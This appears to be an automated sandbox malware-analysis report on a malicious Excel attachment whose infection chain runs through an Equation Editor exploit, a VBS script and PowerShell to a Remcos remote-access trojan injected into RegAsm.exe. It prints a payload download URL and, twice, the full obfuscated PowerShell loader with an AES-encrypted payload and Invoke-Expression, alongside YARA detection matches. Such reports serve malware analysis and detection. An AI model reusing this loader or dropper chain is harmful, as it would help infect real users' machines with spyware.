Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_00413FCA	12_2_00413FCA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_00436FEA	12_2_00436FEA

Source: AWD 490104998518.xls

OLE indicator, VBA macros: true

Source: AWD 490104998518.xls

Stream path 'MBD001EFDDA/\x1Ole' : http://tny.wtf/sAk1bKFw`:5_WX-{LWFumIifr5j(]NK=g Vye4P@+ u5al(:'w$+VkiP*g%A9b9W"&<rIhwQJ.4A/U4m@Jxp8H4yEFYvgQrWjzm9SQ0JwTkQUC5NsDLgFOFBjRcSfxsZHaTXFjIOic4UdLEthgybjfkc2fUqeHOgC8TptH2Fz5aMrdF6iBYFzcb11flCYx8woBIAH36S1N8G7uMAOQbBIvcfQpWqFzxjro1cxJTuQlwK59zsY4i3eRj8m4MoKHf0LnK5MU5uB4zgIHPCI3Q2p90V]}-[\),:8F

Source: ~DFE4D87C1F83611F19.TMP.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: ~WRF{2F215D8E-00CF-4E4E-9C6A-7B89408264B1}.tmp.4.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00434E10 appears 54 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00402093 appears 50 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00434770 appears 41 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00401E65 appears 34 times

Source: 10.2.powershell.exe.41fd080.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 10.2.powershell.exe.41fd080.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 10.2.powershell.exe.41fd080.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 10.2.powershell.exe.41fd080.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 10.2.powershell.exe.41fd080.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 10.2.powershell.exe.41fd080.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 12.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 12.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 12.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 12.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 12.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 12.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 0000000C.00000002.1053711584.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 0000000C.00000002.1053711584.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 0000000C.00000002.1053711584.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 0000000A.00000002.437191072.0000000003ED8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 3240, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 3240, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: RegAsm.exe PID: 3384, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\creamthingstohappenedgetmebackwithentirethingstogetbackeverythingtounderstandhowmuchpowerfulthingsitis__________wearegreatwithentirethingstobeback[1].doc, type: DROPPED	Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D09A9DB5.doc, type: DROPPED	Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winXLS@9/31@8/6

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 12_2_00417952 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,

12_2_00417952

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 12_2_0040F474 GetModuleFileNameW,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,CloseHandle,

12_2_0040F474

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 12_2_0041B4A8 FindResourceA,LoadResource,LockResource,SizeofResource,

12_2_0041B4A8

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 12_2_0041AA4A OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

12_2_0041AA4A

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\90530000

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: \Sessions\1\BaseNamedObjects\Rmc-999Z97

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR87D4.tmp

Source: AWD 490104998518.xls	OLE indicator, Workbook stream: true
Source: 90530000.0.dr	OLE indicator, Workbook stream: true

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\creatednewwaterbottleform.vBS"

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................J..............................................T..........s............			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................J......................................................................			Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: AWD 490104998518.xls

ReversingLabs: Detection: 28%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\creatednewwaterbottleform.vBS"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI68766530954276373206247047974663CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIdSLZBgRjPNZ/qocg/lH2aZHZ5Jl+3cjSG1p/+zzQRClxM6ERqs615j4oDskIGVeU9U0hKzWE2qLRhN3w3oPnP9D3zRR0BjWDDOAHuyfLsijMtAivmVqnjEhi75GYn/731w2sw2LX9rePUu8MuzZBPukpDJjP40wnUy5RXUPJoZQj2IJHLLwPLeWAVLyYam2ryxj+aZ147db0X48wxpHj1wzIXORWhGABOaWwaSlaHL3gmVyt1aXV7FBFES5QqtebxGfvLhl4iUZNYV88W0LKeIoUGNbEQFkzf13DC0Iby1tFcGdBD33I0Q+W2Tvg+5qcSyDt39hGQc+cPQJW6i+zS5PdayxMRwfx6SHZXH4Wqvwv1PSLLBL05m+vUyyZdWHee1jJZK1IYpJ679FIiTnjUqbP5xka/o9mFQDN8rr6+t3w5UZ8/qZmHx1mVRoEQQE9sfqxRdM4XzLD6zM0xvTyXDiPtOrir9Y56WYwILgvowZC7rtlCr5vnoqSqCeZ+TBUh3I8J+drjXQv5Li4WPY7XJzFYZPaPMsWDQEjc1bMNXhVQ0Ukf2iM7FfM7k6Nze4qwdaBy3eAeQAbrjji8e0i57J7CMED36TsJyhF0u03e/7/3gWxHIosnVfstQl9YchNNE0mcQpHtSiF3PXt9EE9Ulz//7YH3sp7ZQKed24Zy6boPjqU9Ryt/0qHB2CgOA9dDgikPiavuiSSZwbmMVP3wzAzgXN3nBCy0PstnP16FjfPsLfXhDA3NS1dtwaJQ0liDeM77UG2Ki38eJ/rruKe9qgo+FuHe0xchT8/Wf5NVYoxrcASiFgam2A+WOxlafeNmbR8szgcpCGnpZl/NgN6OssaRDn26lO+fP2jr2C/5Yc3McAo0Ld51WdEwKzWP8b1W57wqS7gMMfAyZ4qaXwBt0DPwXCDT4lDwrWOtFJtHKkrSrB29mx+ZSiTGJd4zwLYP4xGKn+mDlT0rPmQDAZM0Hkrfyo5dxlRZHsLsW0XCN3EuXI+4932vGm0QSE+1K4quce5wQtHb1zoJKShclZ3BMUvCdOwmEdkxUQXKG7DtjDx8uVaNsAElTRbqENfoYu9eWmyI9LzKR9oZNPS+COhZr5JHq9hpvTMcsOldartIGHZY80SQMOSaGVIgdyoyJGpNwdUZLlDYe8NYQDaAJUhcq27lHvZkYQVajhD3kDVJQbOIf1lYyaY52Jn1dHnhXGk0nluzd0ilXEHvzPHLaVeocoCd50UQJ+q1KgXN7gS2k+ZoaXgaMSw9ouBoVyLc2V04RD098/AS2dEb2//QHWXG3F0c50KqYP4QoW398pQnbg4M4pJz0UIDlflEkkDinQrkxq/DRVpVBWz7wRUbde9F6yxo/vtkM0dGIR+Udwiy0EWC9HpU+MKlp45fqh0Pc7VyS3cHOu8E4FMallUVE4yfg==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\creatednewwaterbottleform.vBS"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI68766530954276373206247047974663CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIdSLZBgRjPNZ/qocg/lH2aZHZ5Jl+3cjSG1p/+zzQRClxM6ERqs615j4oDskIGVeU9U0hKzWE2qLRhN3w3oPnP9D3zRR0BjWDDOAHuyfLsijMtAivmVqnjEhi75GYn/731w2sw2LX9rePUu8MuzZBPukpDJjP40wnUy5RXUPJoZQj2IJHLLwPLeWAVLyYam2ryxj+aZ147db0X48wxpHj1wzIXORWhGABOaWwaSlaHL3gmVyt1aXV7FBFES5QqtebxGfvLhl4iUZNYV88W0LKeIoUGNbEQFkzf13DC0Iby1tFcGdBD33I0Q+W2Tvg+5qcSyDt39hGQc+cPQJW6i+zS5PdayxMRwfx6SHZXH4Wqvwv1PSLLBL05m+vUyyZdWHee1jJZK1IYpJ679FIiTnjUqbP5xka/o9mFQDN8rr6+t3w5UZ8/qZmHx1mVRoEQQE9sfqxRdM4XzLD6zM0xvTyXDiPtOrir9Y56WYwILgvowZC7rtlCr5vnoqSqCeZ+TBUh3I8J+drjXQv5Li4WPY7XJzFYZPaPMsWDQEjc1bMNXhVQ0Ukf2iM7FfM7k6Nze4qwdaBy3eAeQAbrjji8e0i57J7CMED36TsJyhF0u03e/7/3gWxHIosnVfstQl9YchNNE0mcQpHtSiF3PXt9EE9Ulz//7YH3sp7ZQKed24Zy6boPjqU9Ryt/0qHB2CgOA9dDgikPiavuiSSZwbmMVP3wzAzgXN3nBCy0PstnP16FjfPsLfXhDA3NS1dtwaJQ0liDeM77UG2Ki38eJ/rruKe9qgo+FuHe0xchT8/Wf5NVYoxrcASiFgam2A+WOxlafeNmbR8szgcpCGnpZl/NgN6OssaRDn26lO+fP2jr2C/5Yc3McAo0Ld51WdEwKzWP8b1W57wqS7gMMfAyZ4qaXwBt0DPwXCDT4lDwrWOtFJtHKkrSrB29mx+ZSiTGJd4zwLYP4xGKn+mDlT0rPmQDAZM0Hkrfyo5dxlRZHsLsW0XCN3EuXI+4932vGm0QSE+1K4quce5wQtHb1zoJKShclZ3BMUvCdOwmEdkxUQXKG7DtjDx8uVaNsAElTRbqENfoYu9eWmyI9LzKR9oZNPS+COhZr5JHq9hpvTMcsOldartIGHZY80SQMOSaGVIgdyoyJGpNwdUZLlDYe8NYQDaAJUhcq27lHvZkYQVajhD3kDVJQbOIf1lYyaY52Jn1dHnhXGk0nluzd0ilXEHvzPHLaVeocoCd50UQJ+q1KgXN7gS2k+ZoaXgaMSw9ouBoVyLc2V04RD098/AS2dEb2//QHWXG3F0c50KqYP4QoW398pQnbg4M4pJz0UIDlflEkkDinQrkxq/DRVpVBWz7wRUbde9F6yxo/vtkM0dGIR+Udwiy0EWC9HpU+MKlp45fqh0Pc7VyS3cHOu8E4FMallUVE4yfg==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: webio.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
